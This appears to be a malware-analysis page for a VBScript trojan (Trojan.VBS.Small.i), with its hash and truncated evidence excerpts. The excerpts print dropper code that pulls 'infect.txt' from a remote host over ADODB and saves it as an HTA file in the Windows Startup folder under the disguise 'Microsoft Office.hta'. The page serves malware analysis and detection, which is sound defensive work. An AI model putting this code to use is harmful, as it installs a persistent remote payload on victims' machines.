Benign Download

Trojan.VBS.Small.i

ADODB.Connection ProgID stringReferences or resolves Windows Startup folder

SHA-256d6d693009a114c45d91a4e6af817fc4d84c26606c26a3df11a7cbc9fdb6e1f48

Evidence

ADODB.Connection ProgID string lines 1–6

1on error resume next
2Dim Conn, rs
3Set Conn = CreateObject("ADODB.Connection")
4Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
5"Dbq=www.temphost.ws;" & _
6"Extensions=asc,csv,tab,txt;" &  …

Windows Start Menu Startup directory reference lines 9–15

9:17… from infect.txt"
10set rs = conn.execute(sql)
11set rs =CreateObject("ADODB.recordset")
12rs.Open "SELECT * from infect.txt", conn
13rs.Save "C:\ms.hta", adPersistXML
14rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
15rs.Save "C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\Microsoft Office …